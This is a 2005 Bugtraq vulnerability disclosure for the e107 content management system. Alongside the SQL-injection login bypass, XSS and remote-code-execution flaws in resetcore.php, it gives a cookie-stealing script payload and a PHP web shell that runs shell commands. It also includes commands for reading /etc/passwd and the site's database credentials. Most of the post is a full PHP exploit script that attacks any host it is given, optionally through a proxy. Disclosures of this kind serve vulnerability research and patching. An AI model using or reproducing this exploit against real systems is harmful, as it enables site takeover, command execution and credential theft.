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Date: 18 Oct 2005 07:24:45 -0000
From: retrogod@...ceposta.it
To: bugtraq@...urityfocus.com
Subject: e107 remote commands execution
e107 0.617 stable/ 0.6171 / 0.6172 resetcore.php utility SQL Injection /
Login bypass / remote code execution / cross site scripting
software:
site: http://e107.org/news.php
description: "e107 is a content management system written in php and using the popular
open source mySQL database system for content storage. It's completely free and
totally customisable, and in constant development."
i) SQL INJECTION
move to http://[target]/[path]/e107/e107_files/resetcore.php
and login with:
user: ' or isnull(1/0)/*
password: [nothing]
choose to manually edit core values..., so you can edit core items,
now we have...
ii) XSS:
ex., in title core item type:
</title><script>alert(document.cookie)</script>
and...
iii) remote code execution:
modify settings to activate public uploads of .php files
upload a file like this:
<?php error_reporting(0); ini_set("max_execution_time",0);
echo "Hi Master\r\n"; system($HTTP_GET_VARS[cmd]); ?>
the launch commands:
http://[target]/[path]/e107/e107_files/public/cmd.php?cmd=cat%20/etc/passwd
this is my poc exploit:
<?php
# 0.27 18/10/2005 #
# #
# ---e017_xpl.php #
# #
# e107 0.617 resetcore.php SQL Injection & remote code execution all-in-one #
# #
# by rgod #
# site: http://rgod.altervista.org #
# #
# make these changes in php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: customize for your own pleasure, launch this script from Apache, #
# fill requested fields, then go! #
# #
# Sun-Tzu: "There is a proper season for making attacks with fire, and #
# special days for starting a conflagration. The proper season is when #
# the weather is very dry; the special days are those when the moon is #
# in the constellations of the Sieve, the Wall, the Wing or the Cross-bar; #
# for these four are all days of rising wind." #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<html><head><title>e107 0.617 remote commands execution </title><meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style
type="text/css"> body { background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #1CBc81; } a:hover{text-decoration: underline;
color : #1CB081; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
e107 0.617 resetcore.php SQL injection & remote commands execution </p> <p>
<class="Stile6"> a script byrgod at <a href="http://rgod.altervista.org"
target="_blank">http://rgod.altervista.org</a></p> <table width="84%"><tr> <td
width="43%"> <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'
?path=value&host=value&port=value&command=value&proxy=value"> <p> <input
type="text" name="host"><span class="Stile5"> hostname (ex: www.sitename.com)
</span></p><p> <input type="text" name="path"><span class="Stile5">path (ex: /e1
07/ or just /)</span></p><p><input type="text" name="port"><span class="Stile5">
specify a port other than 80 (default value) </span> </p> <p><input type="text"
name="command"><span class="Stile5">a shell command, cat ./../../e107_config.
php to see database username/password </span> </p> <p> <input type="text"
name="proxy"><span class="Stile5">send exploit through an HTTP proxy (ip:port)
</span></p><p><input type="submit" name="Submit" value="go!"> </p></form></td>
</tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
$proxy=trim($proxy);
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
if (($path<>'') and ($host<>'') and ($command<>''))
{
$port=intval($port);
if (($port=='') or ($port<=0)) {$port=80;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
echo 'Initiating exploit against '.htmlentities($host).':'.htmlentities($port);
#STEP 1 -> SQL INJECTION in resetcore.php, bypass login and change upload settings
$data.="sitename=e107+powered+website&siteurl=".urlencode('http://'.$host.':'.$port.$path)."
&sitebutton=button.png&sitetag=e107+website+system&sitedescription=&siteadmin=suntzu
&siteadminemail=fakefakefake@...tzu.com&sitetheme=e107v4a&admintheme=e107v4a
&sitedisclaimer=All+trademarks+are+%A9+their+respective+owners%2C+all+other+content+
is+%A9+e107+powered+website.%3Cbr+%2F%3Ee107+is+%A9+e107.org+2002%2F2003+and+is+released+under+the+%
3Ca+href%3D%27http%3A%2F%2Fwww.gnu.org%2F%27%3EGNU+GPL+license%3C%2Fa%3E.
&newsposts=10&flood_protect=1&flood_timeout=5&flood_time=30&flood_hits=100&anon_post=1
&user_reg=1&use_coppa=1&profanity_filter=1&profanity_replace=%5Bcensored%5D&chatbox_posts=10&
smiley_activate=&log_activate=&log_refertype=1&longdate=%25A+%25d+%25B+%25Y+-+%25H%3A%25M%3A%25S&
shortdate=%25d+%25b+%3A+%25H%3A%25M&forumdate=%25a+%25b+%25d+%25Y%2C+%25I%3A%25M%25p&sitelanguage=
English&maintainance_flag=0&time_offset=0&cb_linkc=+-link-+&cb_wordwrap=20&cb_linkreplace=1&
log_lvcount=10&meta_tag=&user_reg_veri=1&email_notify=0&forum_poll=0&forum_popular=10&forum_track=0&
forum_eprefix=%5Bforum%5D&forum_enclose=1&forum_title=Forums&forum_postspage=10&user_tracking=cookie&
cookie_name=e107cookie&resize_method=gd2&im_path=%2Fusr%2FX11R6%2Fbin%2Fconvert&im_quality=80&
im_width=120&im_height=100&upload_enabled=1&upload_allowedfiletype=.php&
upload_storagetype=2&upload_maxfilesize=&upload_class=254&cachestatus=&displayrendertime=1&
displaysql=&displaythemeinfo=1&link_submit=1&link_submit_class=0&timezone=GMT&search_restrict=1&
antiflood1=1&antiflood_timeout=10&autoban=1&coreedit_sub=Save+Core+Settings&a_name=";
$data.=urlencode("'or isnull(1/0)/*")."&a_password=d41d8cd98f00b204e9800998ecf8427e";
// ^ ^
// | |
// here we have login bypass ;) hash of [nothing]
//so, you see, we activate public uploads and .php extensions for attachments
$packet="POST ".$p."e107_files/resetcore.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."e107_files/resetcore.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Matrix S.p.A. - FAST Enterprise Crawler 6 (Unknown admin e-mail address)\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Content-Type: multipart/form-data; boundary=----------W1dUnnWzZExD8Rb1Pctwsq\r\n\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);
if (eregi("Core settings successfully updated",$html)) {echo '<br>Ok... we reset core values...Continue...';}
else {echo '<br>Exploit failed...'; die;}
#STEP 2 -> Upload a shell...
$data='------------W1dUnnWzZExD8Rb1Pctwsq
Content-Disposition: form-data; name="file_name"
baby
------------W1dUnnWzZExD8Rb1Pctwsq
Content-Disposition: form-data; name="file_version"
666
------------W1dUnnWzZExD8Rb1Pctwsq
Content-Disposition: form-data; name="file_userfile[]"; filename="c:\suntzu.php"
Content-Type: multipart/form-data
<?php error_reporting(0); ini_set("max_execution_time",0);
echo "Hi Master\r\n"; system($HTTP_GET_VARS[cmd]); ?>
------------W1dUnnWzZExD8Rb1Pctwsq
Content-Disposition: form-data; name="file_userfile[]"; filename=""
------------W1dUnnWzZExD8Rb1Pctwsq
Content-Disposition: form-data; name="file_description"
mphhh....
------------W1dUnnWzZExD8Rb1Pctwsq
Content-Disposition: form-data; name="file_website"
------------W1dUnnWzZExD8Rb1Pctwsq
Content-Disposition: form-data; name="file_demo"
------------W1dUnnWzZExD8Rb1Pctwsq
Content-Disposition: form-data; name="upload"
Submit and Upload
------------W1dUnnWzZExD8Rb1Pctwsq--';
$packet="POST ".$p."upload.php HTTP/1.1\r\n";
$packet.="User-Agent: Nokia7110/1.0 (05.01) (Google WAP Proxy/1.0)\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$packet.="Accept-Language: it,en;q=0.9\r\n";
$packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n";
$packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n";
$packet.="Referer: http://".$host.":".$port.$path."upload.php\r\n";
$packet.="Cookie: e107cookie=1.dcc479d5ffe15c00b2263328f1d60da4\r\n";
$packet.="Cookie2: \$Version=1\r\n";
$packet.="Connection: Close, TE\r\n";
$packet.="TE: deflate, gzip, chunked, identity, trailers\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=----------W1dUnnWzZExD8Rb1Pctwsq\r\n\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);
#STEP 3 -> Launch commands...
$packet="GET ".$p."e107_files/public/suntzu.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="User-Agent: Website eXtractor\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);
if (eregi("Hi Master",$html)) {echo 'Exploit succeeded...';}
else {echo 'Exploit failed...';}
}
else
{echo 'Fill in requested fields, optionally specify a proxy...';}
?>
rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta.it
original advisory: http://rgod.altervista.org/e107remote.html
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